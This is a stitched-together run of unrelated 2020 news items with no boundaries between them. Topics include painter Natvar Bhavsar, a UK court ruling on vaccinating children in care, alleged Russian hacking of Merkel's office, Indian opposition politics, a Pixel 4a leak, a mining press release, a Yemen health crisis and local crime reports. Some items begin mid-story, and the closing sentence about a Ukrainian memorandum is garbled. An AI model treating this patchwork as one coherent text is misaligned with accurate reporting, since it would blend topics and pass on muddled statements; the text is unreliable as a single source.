During the second half of the 20th century, as a newly independent India was trying to find its feet after the end of the British rule in 1947, many artists travelled to the West. Bhavsar, along with Krishen Khanna, SH Raza, FN Souza, Akbar Padamsee, Ram Kumar, VS Gaitonde, among others, belongs to that generation of artists who developed their respective vocabularies as they encountered major art movements in the West. Bhavsar minces no words while talking about his transition from India to the United States, where he began his journey in 1962, as a student of art and young painter, and eventually became an American citizen in 1996. When I came to the US, I gave up all that I had learnt in India, he said, referring to his work with representational or realist form of art. It was not only the exposure to contemporary art movements and the burst of creative activity in postwar America that equipped Bhavsar to take a giant leap from his Indian moorings. His migration to the US brought him access to a pool of resources, both financial and in terms of better materials for making art, that he believed was not possible in post-independence India.

Nearly two decades before Bhavsar arrived in the US, the country had already witnessed the rise of what has been known as the Postwar American Art, where movements, from the 1940s and 50s onwards, such as abstract expressionism, pop art, conceptual art, etc shifted the focus of the art world from Paris to New York. As a student of fine arts at the University of Pennsylvania, the young Bhavsar came in close contact with a number of well-known artists whose influence dramatically altered his vocabulary, in the favour of a non-representational style. These included his teacher and the Italian abstract painter Piero Dorazio, the American abstract expressionists Robert Motherwell and Clyfford Still whom he met at university seminars and classes. In Philadelphia, he was also drawn towards an exhibition of paintings by Ray Parker, another important postwar abstractionist who became his friend later, like Rothko. As one of the earliest recipients of the $10,000 John D Rockefeller III Fund grant, along with Gaitonde, Padamsee, Jyoti Bhatt, KG Subramanyan, and other artists from India, Bhavsar had first-hand experiences with these movements as a resident of New York from 1965.

As recently as last year, Aicon Gallery in New York mounted an exhibition of his paintings, under the title Beginnings, which featured his work from the late 60s to the 80s. While the influence of his encounters with different styles of abstract expressionism is visible in these paintings, the exhibition also demonstrated that as a newcomer in the American art scene of the 60s, Bhavsars style rapidly evolved with the promise of a dedicated practitioner of abstract art. Most of the works since 1965, they resort to the power of colour as something that wants to say something by itself, he said, while referring to the exhibition. His approach to the subject matter of his paintings is reminiscent of the abstraction expressionists emphasis on creating art that is deeper than realist and figurative representations: I find that people are always trying to tell a story in art all the time. And I have taken the story out of it completely, whether social or art history.

While Bhavsars work has led critics to draw parallels with Rothkos bold use of flat colours or with Pollocks process of dripping paint over the canvas, the artists grainy colour-scapes stand out for their individual style and unique process of layering pigments. For Bhavsar, Dorazios coloured strips, patterns and grids, Motherwells messy picture planes, and Stills gestural colour-fields served as critical entry points into the evolution of a language that is strictly his own. The Indianness of his abstract works is hard to miss, even though he gave up working in the realist mode as an artist in America. Whether it is the title of his works (such as Hindol, Varsha, Jeth) or the organised spontaneity of his colours, memories of his homeland pervade his work. It could be argued that Indias monuments, its diverse topography and its people, and their cultures, are deeply embedded  and stylistically abstracted  into his canvases. He recalled one such memory from Chanasma town, located in Gujarats Patan district, where he worked as an art teacher. During one of the Navratri festivities, he sat over a tree and watched a one-mile-long queue of devotees in the darkness of night. Holding diyas, or lamps, they danced with each other in a big circle, he reminisced.

If the fluid and cloudy formations of colour in his paintings hint at the dance of garba during Navratri, the seemingly boundless quality of them invoke the rendition of a raga (Sanskrit for colour or passion) in Indian classical music. On canvas, his colours have a life of their own. It is because of this reason that his paintings have an affinity with the ragas melodic and improvisational quality that cannot be bound by the limits of time. It is not surprising when Bhavsar says he relates to music as a way to establish a connection with colour: In music, the sounds can sway you into an entirely different universe. I find that colour has the same significance. Without trying to use it as a vehicle to document something, colour has a very emotional trait, directing us to enjoy the non-peripheral. In sound, there is no periphery, and similarly, a drop of colour does not have a periphery either, in terms of the visual experience.

Bhavsar began showing his work in the US in 1962, when he had his first show in Philadelphia, while commencing his studies in industrial design and then fine arts. Since then, he has exhibited at a large number of galleries and museums in the US and outside, such as the Guggenheim Museum, New York; Philadelphia Art Museum; Brooklyn Museum; Wichita Art Museum, Kansas; Max Hutchison Gallery in SoHo; and the Jewish Museum in Berlin. Other than Guggenheim Museum and Jewish Museum, his work is part of collections at the Whitney Museum of American Art, the National Gallery of Australia, Canberra, and American Express, among other public and private collections.

In comparison, he has received sparing attention in India, where he exhibited at the international Triennale at the Lalit Kala Akademi, Delhi, in 1982; followed by a show in Ahmedabad, and at Mumbais Pundole Art Gallery and Chemould Gallery. During 2017-18, DAG organised a retrospective of sorts of his paintings in Mumbai, which was titled Homecoming, as a way to fill the gap in his visibility in India, his place of birth.

Even as Bhavsar awaits a career-long survey of his work at a museum in the US, the artist continues to be driven by the desire to create more art, which, in his own words, does not have a shape. It is not the shape of anything. It is the experience. I feel that creating art of that nature would be good enough.

For someone who wants to continue to paint for a thousand years, his canvas is no doubt a tool to seek immortality.

All images courtesy of natvarbhavsar.com
Children in care can be vaccinated against their parents' wishes without courts having to intervene, senior judges said today.

Three judges said scientific evidence 'clearly establishes' it is in the best interests of children to be immunised unless there is a specific reason for them not to be.

The ruling comes at a time when researchers around the world are working on a vaccine for the coronavirus.

Lady Justice King, sitting with Lords Justice McCombe and Peter Jackson, made the judgement in a Court of Appeal ruling published today.

Three judges ruled that children in care can be vaccinated against their parents wishes because scientific evidence 'clearly establishes' it is in their best interests, after London's Tower Hamlet Council went to the High Court. Pictured: A volunteer is injected with the vaccine in Oxford University's vaccine trial

Lady Justice King (left), sitting with Lords Justice McCombe (centre) and Peter Jackson (right), made the ruling after a case in which a couple refused to agree to their son being vaccinated

They said councils should not make decisions regarding vaccinations based on the strength of parents' views unless they have a 'real bearing' on the child's welfare.

The judge also said it is neither 'necessary nor appropriate' for councils to go to court every time a parent objects to their child being vaccinated.

She said: 'The administration of standard or routine vaccinations cannot be regarded as being a 'serious' or 'grave' matter.

'Except where there are significant features which suggest that, unusually, it may not be in the best interests of a child to be vaccinated, it is neither necessary nor appropriate for a local authority to refer the matter to the High Court in every case where a parent opposes the proposed vaccination of their child.

Tower Hamlets Council went to the High Court arguing that, under the Children Act 1989, it had the power to arrange for the vaccinations to be carried out

'To do so involves the expenditure of scarce time and resources by the local authority, the unnecessary instruction of expert medical evidence and the use of High Court time which could be better spent dealing with one of the urgent and serious matters which are always awaiting determination in the Family Division.'

The ruling came after a case in which a couple refused to agree to their son being vaccinated.

The couple, whose son - referred to only as T - was placed in foster care, had refused to agree to the child receiving his routine childhood immunisations.

Tower Hamlets Council went to the High Court arguing that, under the Children Act 1989, it had the power to arrange for the vaccinations to be carried out.

The council said if this was not the case, then the court should grant an order authorising the injections as they were in the child's best interests.

A coronavirus vaccine developed in Britain may not stop those treated being infected it was revealed this week

In February, a High Court judge accepted the council's argument and said it did have the authority to arrange for the immunisations to take place.

The parents then went to the Court of Appeal but they dropped part of the appeal at a hearing in April.

They said they were no longer challenging the merits of the High Court's order permitting the council to arrange T's vaccinations.

The healthy boy's immunisations are now due to go ahead.

The Court of Appeal was asked to decide whether a local authority has the powers to arrange for the routine vaccination of a child in its care where the parents have refused to consent.

Giving the court's judgment, Lady Justice King said: 'The question that arises here is whether the local authority has the power to consent to vaccination in the best interests of the child, and thereby to provide lawful authority for something that is not compulsory.'

Oxford University's vaccine, ChAdOx1 nCov-19 has been rocked by criticism after all six monkeys that received it tested positive for coronavirus

'Although vaccinations are not compulsory, the scientific evidence now clearly establishes that it is in the best medical interests of children to be vaccinated in accordance with Public Health England's guidance unless there is a specific contra-indication in an individual case.'

She concluded that, under the Children Act, 'a local authority with a care order can arrange and consent to a child in its care being vaccinated where it is satisfied that it is in the best interests of that individual child, notwithstanding the objections of parents'.

The conclusion comes as Oxford University entered the trial stages of a coronavirus vaccine.

Earlier this week it emerged that all six of the monkeys that were used in the Oxford University vaccine trial had gone on to catch the coronavirus.

The potential vaccine was steamrolled into human trials last month, with more than 1,000 people receiving the immunisation.
German Government Hit By Russian Hackers

German Chancellor Angela Merkel says she has hard evidence that she was targeted by hackers who are believed to be Russian military intelligence (GRU). She was recently questioned in parliament about a German news article in Spiegel magazine saying that the GRU had obtained emails from her constituency office in a hacking attack in 2015.

Merkel was responding to a question from an MP with the opposition Green party, about her views on the outcome of the investigation.

Merkel said she was pleased that investigators had found out who was responsible for the attack and were seeking to make arrests. The 2015 hacking story said there had been a theft of data from computers in the German parliament. In 2018, the government's IT network also came under attack, amid reports that Russian hackers were also to blame.The Russian government has denied hacking the German parliament's data.

What is the GRU Hacking?

According to Spiegel, German experts managed to partially reconstruct the hacking attack and found that two email inboxes from Merkel's office had been breached. They reportedly contained emails from 2012 to 2015.

In 2016, Germany's domestic intelligence agency publicly accused a hacker group thought to work for the Russian state of being behind the cyber-attack.

The group, known as Fancy Bear or APT28, is also thought to have been behind cyber-attacks on the 2016 US election.

"Every day I try to build a better relationship with Russia and on the other hand there is such hard evidence that Russian forces are doing this," Angela Merkel told reportes.

Why do Russian Hackers Hit Germany?

Germany's domestic intelligence agency believes that Russian attacks on German state organisations and institutions were carried out to gather intelligence data. Relations between Russia and the EU's economic powerhouse, and Merkel and President Vladimir Putin, are complex.

On the one hand, Merkel was swift to condemn Russia's 2014 annexation of Crimea from Ukraine and has defended continuing EU sanctions. But she has also championed, despite opposition at home and further afield, the Nord Stream 2 pipeline, which will double the amount of Russian gas coming into Europe via Germany.

Thousands of German companies still do business with Russia and some lobby against sanctions, which they argue cripple trade.

Merkel said that Germany will appropriately engage measures against Russian diplomats similar to what it did following the murder in a Berlin park last summer park of a former Chechen insurgent, which Germany believes was a contract killing carried out on behalf of the Russian state.

Euronews: VOA News: Guardian: BBC:

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New Delhi, May 22 (UNI) Congress President Sonia Gandhi on Friday lashed out at the Narendra Modi government, saying that the government has abandoned any pretence of being democratic and all power was now concentrated in one office, the PMO.

'The spirit of federalism, which is an integral part of our Constitution, is all but forgotten. There is no indication either if the two Houses of Parliament or the Standing Committees will be summoned to meet.

'Friends, it is our duty to offer constructive criticism and suggestions, and be the voice of the people. It is in that spirit that we are meeting today,' Ms Gandhi said in her opening remarks at a video conference meeting of 22 like-minded parties.

'India was facing an economic crisis even before the first Coronavirus case was identified,' said the Congress chief and added that demonitisation and a hasty and flawed GST were amongst it's main causes.

West Bengal Chief Minister Mamata Banerjee, Maharashtra Chief Minister Uddhav Thackeray and former Prime Minister HD Deve Gowda attended the meeting. However, Mayawati's Bahujan Samaj Party, Akhilesh Yadav's Samajwadi Party and Arvind Kejriwal's Aam Aadmi Party did not participate in the meeting.

The initial optimism of the Prime Minister that the war against the virus would conclude in 21 days, has turned out to be a misplaced one, Ms Gandhi noted.

She said, 'It seems that the virus is here to stay, until a vaccine is found. I am also of the view that the government was uncertain about the criteria for lockdowns, nor does it have an exit strategy. Successive lockdowns have yielded diminishing returns.

'The government also stumbled badly on the testing strategy and the import of test kits. Meanwhile, the pandemic continues to take its toll,' she added.

Ms Gandhi said that the Indian economy has been gravely crippled and every economist of repute had advised an immediate need for a massive fiscal stimulus.

'The Prime Minister's announcement on May 12 of a grand Rs 20 lakh crore package - and the Finance Minister spelling out its details over the next five days, have turned out to be a cruel joke on the country,' she charged.

The Congress president said the defining image of the pandemic has been the lakhs of migrant workers, many with children, walking hundreds of kilometers, without money, food or medicines, desperate to reach their home states.

Apart from the plight of the migrant workers, those who have been cruelly ignored include the 13 crore families in the bottom half of the population, namely - the tenant farmers and landless agricultural workers; the laid off or retrenched workers and employees; the shopkeepers and the self-employed; the 5.8 crore out of the 6.3 crore MSMEs; and organised industries, including the large businesses, that drive our countrys growth, she said.

Ms Gandhi further said that many opposition parties ad demanded that cash must be transferred to the poor, that free grain must be distributed to all families, that buses and trains must be arranged for the migrant workers to go back to their homes.

Our pleas have fallen on deaf ears, she said, adding, far from offering succour and support, the government has embarked on a wild adventure of so-called reforms including a grand clearance sale of PSUs and repeal of labour laws.

There is not even a pretence of consultation with stakeholders or debate in Parliament. We deplore these unilateral moves, Ms Gandhi criticised.

Pointing out at the economy, she said a number of renowned economists are predicting that 2020-21 will end with negative growth of up to minus 5 per cent.

The consequences will be catastrophic, she said while further criticising the government

Congress leaders Rahul Gandhi, AK Antony, Ghulam Nabi Azad, Adhir Ranjan Chowdhury, Mallikarjun Kharge, KC Venugopal, Ahmed Patel HD Devegowda (JDS), Mamata Banerjee, Derek O'Brien (AITC); Sharad Pawar, Praful Patel (NCP); Sanjay Raut (Shiv Sena); Sitaram Yechuri (CPI-M); Hemant Soren (JMM); D Raja (CPI) and MK Stalin (DMK) attended the meeting.

Besides, Sharad Yadav (LJD); Dr Omar Abdullah (NC); Tejaswi Yadav, Manoj Jha (RJD); PK Kunhalikutty (IUML); Jayant Chaudhary (RLD); Upendra Kushwaha (RLSP); Badruddin Ajmal (AIUDF); Jitin Ram Manjhi (HAM); Jose K Mani (KC-M); NK Premchandran (RSP); Raju Shetty (Swabhimani Paksh); Thol Thirumavalavan (VCK-TN); Prof Kondandaram (TJS) also attended the meet.

UNI KNA/AR RJ 2110
FP Trending

Google Pixel 4a, which was originally expected to launch in May, will now be launched in July. The smartphone was earlier rumoured to be unveiled in June during the Android 11 Beta launch livestream.

According to tipster Jon Prosser, the Google Pixel 4a is going to be released on 13 July.

Prosser tweeted that the device was originally slated for launch in May and then got pushed to June, before being deferred again now. The smartphone is expected to come in two colour options - 'Just Black' and Barely Blue' colours.

He has also said that the upcoming phone will not come with 5G support. Google is ready to ship and the "decision is mostly based on market analysis."

Pixel 4a Was originally May, then got pushed to June, now pushed again. Just Black & Barely Blue Current plan for announcement:

July 13 BTW - just 4G.

(Sorry to kill the 5G rumors) Seems like theyre ready to ship. The decision is mostly based on market analysis.  Jon Prosser (@jon_prosser) May 21, 2020



A report by GSMArena said that the Google Pixel 4a will come with a Snapdragon 730 chipset paired with 4 GB of RAM. It is likely to come in two variants  64 GB and 128 GB.

The smartphone will sport a 5.81-inch OLED screen with FHD+ resolution and will have a 3,080 mAh battery under the hood.

The report further adds that one of the biggest selling points of the device will be its Google-powered camera.

Last year, leak and claims by OnLeaks and 91Mobiles mentioned that the Pixel 4a may feature a punch-hole design for selfie camera which will be positioned at the top-left corner of the display.

The rear of the phone is expected to be square camera setup similar to what we have seen on Pixel 4 as well as iPhone 11 series. The back of the smartphone is also likely to feature a physical fingerprint sensor and a Google logo.

The renders also showed Google Pixel 4a sporting a volume rocker, an orange-colored power button, a 3.5mm audio jack, as well as USB Type-C port and speaker grilles.
BAKU, Azerbaijan, May 22

By Jeila Aliyeva - Trend:



Turkmenistan, other Central Asian countries and Russia have called for intensifying current trade, economic, transport, logistics and regional cooperation, Trend reports with reference to the Ministry of Foreign Affairs of Turkmenistan.

A meeting of the deputy foreign ministers of Central Asian countries and Russia was held on May 21, 2020. The participants discussed the upcoming ministerial meeting of the countries. In this regard, the importance of the joint work between the Central Asian countries and Russia was noted.

The parties highlighted the importance of interaction between these countries to countering the COVID-19 pandemic. Representatives of Turkmenistan stressed the need to develop coordinated actions against the pandemic and noted that necessary measures were taken to prevent the coronavirus outbreak in the country. The measures were taken on the basis of the World Health Organization (WHO) recommendations, the report said.

The importance of interaction and assistance to overcome the socio-economic consequences of the pandemic was underlined.

The Turkmen side also called for regular exchange of the views on regional stability and security and stressed the necessity to strengthen political and diplomatic relations between the countries. The initiatives of President of Turkmenistan Gurbanguly Berdimuhamedov aimed at quick and full restoration of the transport links between countries and regions and transit corridors as well as at search for new routes were announced, said the ministry.

The issues related to the situation in Afghanistan and on development new approaches to ensure regional stability, security and development were also discussed.

---

Follow the author on Twitter: @JeilaAliyeva
Plans To Merge Three Russian Regions Spark Concerns, Protests

May 21, 2020

Plans by Russia's government to merge the northwestern region of Arkhangelsk, the Nenets Autonomous District, and the Republic of Komi, have sparked protest among residents who fear losing their ethnic identity.

Since leaders of the Arkhangelsk region and the Nenets Autonomous District signed a memorandum on merging their territories into one single administrative unit last week, protests have broken out in Naryan-Mar, the Nenets district capital.

On May 19, the working group on the merger announced a proposal to add the Republic of Komi to the territorial unit as well.

An online petition, which had been signed by almost 1,900 people as of midday on May 21, states that residents of the Nenets region "are categorically against this memorandum, hastily signed at a time when our country is in a difficult epidemiological situation and when its wide public discussion is absolutely impossible."

Ethnic regions and republics in Russia are very sensitive to any changes of their status, fearing a loss of autonomy, which already has been weakened in recent years by Kremlin policies.

Viktor Uiba, the acting head of the Republic of Komi, said in a video statement late on May 20 that the plan was unacceptable.

"I am against such talks and such thoughtless actions. I believe that such an initiative must come from the people, the local population, and not imposed from above," Uiba said, adding that the status of republic is much higher than that of just a region.

Some have said they fear a watering down of indigenous languages such as Uralic Komi, which has state-language status along with Russian in the Republic of Komi, a vast region that spans the Arctic circle and includes the frigid former Soviet prison-camp city of Vorkuta.

Yasavei, the association of the Nenets people, issued a statement on May 19 warning the merger would cause economic problems for the oil-rich territory and lead to a weakening of their native language, Nenets -- which belongs to the Uralic language stem distantly related to Finish, Estonian, and Hungarian.

All of the Russian Federation's ethnic republics, except Tatarstan, have changed the titles of their leaders from president to head in recent years, while regional parliaments have lost their independence in adopting laws and regulations.

The Kremlin's decision to abolish mandatory local language classes at regional schools three years ago was rubber-stamped by a majority of regional parliaments despite protests by residents who fear their languages will fade away without the rules in place.

Source: https://www.rferl.org/a/plans- to-merge-three-russian-regions-spark- concerns-protests/30625889.html

Copyright (c) 2020. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036.

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Then the unemployment rate is believed to have hit around 25%, but only after several years. This is a totally different egg, Winters said, in terms of how quickly the job market has collapsed.

In April 2019, the state recorded its lowest unemployment rate ever at 2.8%.

While the economy has been hemorrhaging jobs, DWD has come under increasing fire from the jobless and some lawmakers who say the department hasnt gotten benefits out to people quickly enough  or at all  and has been slow to provide help to people who have questions or complicated claims.

Satori Nelson, 25, of Sun Prairie, said she was formally laid off from her full-time job as a restaurant manager in Madison at the end of March, and her first claim for unemployment was because she had to self-isolate due to symptoms of COVID-19.

But since then, her weekly claims have listed joblessness as her reason for seeking benefits, and so far none of those checks have come through. She estimates shes eligible for about $6,300 at this point.

Her husband has continued to work from home, but the couple has a young son and were probably at the point where this month is going to be pretty tight to pay rent.
VANCOUVER, British Columbia, May 21, 2020 (GLOBE NEWSWIRE) -- Foran Mining Corporation (TSX-V: FOM) (the Company or Foran) announces that Mario Grossi has stepped down from the board of directors of the Company. Due to the challenges associated with the ongoing global health crisis, Mr. Grossi, as President of Technica Mining (Technica) felt it was necessary to resign from Forans board of directors to devote his time and attention to Technica. Mr. Grossi has been a valued member of Forans board. He has agreed to join Forans Technical Committee and will continue to offer his expertise in mining and construction to the Company.



Other members of the Technical Committee include Maurice Tagami, Mike Koziol, Andy Holloway and Roger March. The Technical Committee provides guidance for matters related to the proposed development of McIlvenna Bay, as well as maximizing the potential of Forans other land holdings.

About Foran Mining

Foran Mining is a zinc-copper exploration and development company with projects located along the Flin Flon Greenstone Belt. The McIlvenna Bay Project, Forans flagship asset located within the Hanson Lake District, sits just 65km from Flin Flon, Manitoba and is part of the world class Flin Flon Greenstone Belt that extends from Snow Lake, Manitoba, through Flin Flon to Forans ground in eastern Saskatchewan, a distance of over 225km.

McIlvenna Bay is the largest undeveloped VMS deposit in the region. This prolific Metallogenic Belt is host to 29 past and present producing mines, including Hudbay Minerals Inc.s 777 and Lalor operations. The Company released the results of the Pre-Feasibility Study (PFS) on March 12, 2020. Based on the PFS, the McIlvenna Bay Project is expected to yield a Base Case pre-tax, 7.5% net present value of $219 million and an internal rate of return of 23.4%, using assumed zinc, copper, gold and silver prices of US$1.26/lb, US$2.82/lb, US$1,312/oz and US$16.30/oz. The Company filed a NI-43-101 Technical Report for the PFS on the McIlvenna Bay Deposit on SEDAR on April 28, 2020.

The technical information contained in this news release has been reviewed and approved by Roger March, P.Geo., a Qualified Person within the meaning of the National Instrument NI-43-101  Standards of Disclosure for Mineral Projects.

Foran trades on the TSX.V under the symbol FOM.

For Additional Information Please Contact Foran Mining Corporation:

Patrick Soares President & CEO 409 Granville Street, Suite 904 Vancouver, BC, Canada, V6C 1T2

ir@foranmining.com



Neither the TSXV nor its Regulation Services Provider (as that term is defined in the policies of the TSXV) accepts responsibility for the adequacy of this release. No stock exchange, securities commission or other regulatory authority has approved or disapproved the information contained herein.

CAUTIONARY NOTE REGARDING FORWARD LOOKING STATEMENTS

This news release contains "forward-looking information" (also referred to as "forward looking statements"), which relate to future events or future performance and reflect managements current expectations and assumptions. Often, but not always, forward-looking statements can be identified by the use of words such as "plans", "hopes", "expects", "is expected", "budget", "scheduled", "estimates", "forecasts", "intends", "anticipates", or "believes" or variations (including negative variations) of such words and phrases, or state that certain actions, events or results "may", "could", "would", "might" or "will" be taken, occur or be achieved. Such forward-looking statements reflect managements current beliefs and are based on assumptions made by and information currently available to the Company. All statements, other than statements of historical fact, are forward-looking statements or information. Forward-looking statements or information in this news release relate to, among other things: the PFS and the anticipated capital and operating costs, sustaining costs, net present value, internal rate of return, payback period, process capacity, average annual metal production, average process recoveries, anticipated mining and processing methods, proposed PFS production schedule and metal production profile, anticipated construction period, anticipated mine life, expected recoveries and grades, anticipated production rates, infrastructure, social and environmental impact studies, future financial or operating performance of the Company, subsidiaries and its projects, estimation of mineral resources, exploration results, opportunities for exploration, development and expansion of the McIlvenna Bay Project, its potential mineralization, the future price of metals, the realization of mineral reserve estimates, costs and timing of future exploration, the timing of the development of new deposits, requirements for additional capital, foreign exchange risk, government regulation of mining and exploration operations, environmental risks, reclamation expenses, title disputes or claims, insurance coverage and regulatory matters. In addition, these statements involve assumptions made with regard to the Companys ability to develop the McIlvenna Bay Project and to achieve the results outlined in the PFS, and the ability to raise capital to fund construction and development of the McIlvenna Bay Project.

These forward-looking statements and information reflect the Companys current views with respect to future events and are necessarily based upon a number of assumptions that, while considered reasonable by the Company, are inherently subject to significant operational, business, economic and regulatory uncertainties and contingencies. These assumptions include: our mineral reserve and resource estimates and the assumptions upon which they are based, including geotechnical and metallurgical characteristics of rock confirming to sampled results and metallurgical performance; tonnage of ore to be mined and processed; ore grades and recoveries; assumptions and discount rates being appropriately applied to the PFS; success of the Companys projects, including the McIlvenna Bay Project; prices for zinc, copper, gold and silver remaining as estimated; currency exchange rates remaining as estimated; availability of funds for the Companys projects; capital decommissioning and reclamation estimates; mineral reserve and resource estimates and the assumptions upon which they are based; prices for energy inputs, labour, materials, supplies and services (including transportation); no labour-related disruptions; no unplanned delays or interruptions in scheduled construction and production; all necessary permits, licenses and regulatory approvals are received in a timely manner; and the ability to comply with environmental, health and safety laws. The foregoing list of assumptions is not exhaustive.

The Company cautions the reader that forward-looking statements and information include known and unknown risks, uncertainties and other factors that may cause actual results and developments to differ materially from those expressed or implied by such forward-looking statements or information contained in this news release and the Company has made assumptions and estimates based on or related to many of these factors. Such factors include, without limitation: the projected and actual effects of the COVID-19 coronavirus on the factors relevant to the business of the Corporation, including the effect on supply chains, labour market, currency and commodity prices and global and Canadian capital markets, fluctuations in zinc, copper, gold and silver prices; fluctuations in prices for energy inputs, labour, materials, supplies and services (including transportation); fluctuations in currency markets (such as the Canadian dollar versus the U.S. dollar); operational risks and hazards inherent with the business of mining (including environmental accidents and hazards, industrial accidents, equipment breakdown, unusual or unexpected geological or structure formations, cave-ins, flooding and severe weather); inadequate insurance, or the inability to obtain insurance, to cover these risks and hazards; our ability to obtain all necessary permits, licenses and regulatory approvals in a timely manner; changes in laws, regulations and government practices in Canada, including environmental, export and import laws and regulations; legal restrictions relating to mining; risks relating to expropriation; increased competition in the mining industry for equipment and qualified personnel; the availability of additional capital; title matters and the additional risks identified in our filings with Canadian securities regulators on SEDAR in Canada (available at www.sedar.com ). Although the Company has attempted to identify important factors that could cause actual results to differ materially, there may be other factors that cause results not to be as anticipated, estimated, described or intended. Investors are cautioned against undue reliance on forward-looking statements or information.

These forward-looking statements are made as of the date hereof and, except as required by applicable securities regulations, the Company does not intend, and does not assume any obligation, to update the forward-looking information.
Taking a proactive approach to their commemorative operations and flyovers, four members of the D-Day Squadron undergo flight planning and formation preparations this week to bring hope, appreciation and honor with their Operation SoCal Strong flyover on Memorial Day, May 25th, 2020. This 90-min flyover begins at noon pacific time over Loma Linda Medical Center and ends at Chino Airport. The entire flight path is provided in the accompanying graphic.

No stranger to tight formation and tribute flights, this squadron, a year ago yesterday, launched from Oxford, Connecticuts KOXC airport for their Mission to Normandy. They successfully crossed the North Atlantic with 15 C-47 and DC-3 aircraft, completing multiple paratrooper drops and a Presidential flyover while participating in events including the 75th anniversary of the Normandy landings, the 70th anniversary of the Berlin Airlift, and commemorations in the U.S., U.K., France, Germany and Italy.

The Memorial Day flyover features D-Day Squadron aircraft C-53 D-Day Doll of the Commemorative Air Forces Inland Empire Wing (IEW), leading fellow squadron aircraft C-47 Flabob Express, C-47 Betsys Biscuit Bomber and C-53 Spirit of Benovia. Also joining the squadron is C-47 Whats Up Doc of the Palm Springs Air Museum, Condor Squadrons T-6s. Other WWII-era aircraft will likely join in as well.

Our mission flying WWII aircraft over parts of Southern California for Memorial Day is to salute our veterans who sacrificed so much for the freedoms that we enjoy today. In addition, we will acknowledge the many medical personnel, first responders, and citizens who have provided unwavering support in caring for the local populace during this pandemic, shared Steve Rose, IEW wing leader, and pilot of D-Day Doll. To join again with fellow squadron members is an honor and we appreciate everyone volunteering their time and aircraft to participate in this flight.

Various targets of the flyover include two national cemeteries, VA medical centers, airports, landmark piers and harbors, the ocean liner Queen Mary and battleship USS Iowa. Lead aircraft, D-Day Doll, plans to bring on board veterans from WWII, the Korean War and Vietnam War. Our goal is to signal to all Southern Californians to remain vigilant during these adverse times as our Greatest Generation have, added Steve Rose.

We are glad to see these crews honor our health care workers and to provide a hopeful reminder that America can overcome the current pandemic, just as those that came before us unified to defeat a dangerous enemy, shared Kevin Riley, executive director of the D-Day Squadron. Our organization is proud to see the formation procedures honed by these crews in Normandy on display in the United States for the people of Southern California.
A Bethlehem Township man and his girlfriend face felony drug charges after U.S. Customers and Border Patrol intercepted a package containing about 10 pounds of marijuana which was addressed to the township home where the couple live, police report.

An undercover officer on Thursday delivered the package to Engy A. Shaaban, 21, in the front yard of the home in the 1800 block of Eighth Street, township police said. She took it inside the home, police said. The drugs were in a law-enforcement evidence bag, which was inside a box, police said.

Minutes later, Shaaban and her boyfriend Alec Daniel Noctor, 25, came out in a hurry, police said. Noctor was carrying a backpack containing $87,000 and he had another $2,000 in his pocket when they were stopped, police said.

A search warrant for the home, based on the initial interception, was executed by Bethlehem Township and Palmer Township officers as well as the U.S. Department of Homeland Security, police said.

Investigators found an elaborate marijuana lab that included the pot just delivered as well as more of the drug and mason jars filled with THC wax, boxes containing thousands of Nerd candies, gummy bears, gelatin, candy molds, hundreds of THC vape pens and cartridges, a money counter and hundreds of other items associated or used in the production and distribution of marijuana and marijuana edibles, police said in court papers.

Dozens of shipping labels addressed to Shaaban and another $5,000 broken down into $5, $10 and $20 bills were also found, police said.

Shaaban told authorities that Noctor manufactured and sold the drug and received 10 to 15 packages of marijuana a month, police said. She said most of the packages were addressed to her and she benefitted from the drug sales, police said.

Noctor and Shaaban were arraigned before District Judge Nancy Matos Gonzalez on charges of possession with intent to deliver drugs (two felony counts), possession of a controlled substance, possession of drug paraphernalia and intent to deliver drug paraphernalia, records show. Bail was set for Shaaban at $200,000 and for Noctor at $500,000, records show. Both have valid passports and were considered flight risks, police said.

Their preliminary hearings are tentatively scheduled 9 a.m. June 4 in District Judge Patricia Broscius court in the township.

Court papers did not list an attorney for either person.

Thank you for relying on us to provide the journalism you can trust. Please consider supporting lehighvalleylive.com with a voluntary subscription.

Tony Rhodin may be reached at arhodin@lehighvalleylive.com.
Yemens health care system has reportedly collapsed as cash-strapped aid agencies scale back basic services amid the countrys fast-spreading COVID-19 outbreak, the United Nations reported Friday.

Aid agencies in Yemen are operating on the basis that community transmission is taking place across the country, said Jens Laerke, spokesman for the UN Office for the Coordination of Humanitarian Affairs.

We hear from many of them that Yemen is really on the brink right now. The situation is extremely alarming; they are talking about that the health system has in effect collapsed, he told a UN briefing in Geneva.

A five-year-long war pitting a Saudi-led military coalition against the Iran-aligned Houthi rebels has devastated the countrys health care system. Half of all hospitals are not functioning, and those that remain operational suffer from severe shortages of medicine and personal protective equipment.

Yemen has so far reported 197 coronavirus cases, but aid agencies worry a lack of testing means far more infections are going undetected. The country is only carrying out 31 tests per million people, compared to 38,394 tests per million conducted in the United States, according to the International Rescue Committee.

I think were only starting to see the tip of the iceberg in Yemen, Sultana Begum, advocacy manager for Yemen at the Norwegian Refugee Council, told Al-Monitor earlier this month. For us, its been really a race against time in order to be able to prepare as much as we can for this pandemic.

In Aden, Doctors Without Borders (MSF) runs the only dedicated COVID-19 center in southern Yemen. The organization reported this week that patients are arriving already showing symptoms of acute respiratory distress syndrome, suggesting many more people are sick at home.

People are coming to us too late to save, Caroline Seguin, MSFs operations manager for Yemen, said in a statement. We know that many more people are not coming at all: they are just dying at home. It is a heart-breaking situation.

The United Nations says it needs roughly $2 billion to cover essential services in Yemen from June through December. Without urgent funding, Yemenis will lose access to life-saving assistance as agencies are forced to scale back aid operations.

The cash-strapped World Food Programme has already reduced the frequency of deliveries to Houthi-held north. Families accustomed to receiving aid monthly now receive food assistance every other month.

Last Friday, The UNs Population Fund (UNFPA), which assists pregnant women and victims of domestic and sexual violence in Yemen, ended its services at 140 health facilities across the country. The move, prompted by a $59 million funding shortage, leaves 320,000 pregnant women without specialized care and 48,000 at risk of dying from complications in childbirth this year.

UNFPA, WFP and other UN agencies are hoping at least some of the funding will materialize at a virtual donor conference scheduled for June 2.
The Santa Cruz County, California, Sheriffs Department released the names and mugshots of four men suspected of killing Indian American tech entrepreneur Tushar Atre last fall. The suspects, from left to right, top to bottom are: Kaleb Charters, Stephen Lindsay, Kurtis Charters, and Joshua Camps. All four have been charged with first degree murder, kidnapping, and robbery. (Santa Cruz County Sheriff's Office photos)
Ukrainian agent in international affairs against Russia and Deputy Foreign Minister Yevhen Yenin put his signature on a memorandum on the seizure of ships in the Black Sea in November 2018, as Ukrinform reports.

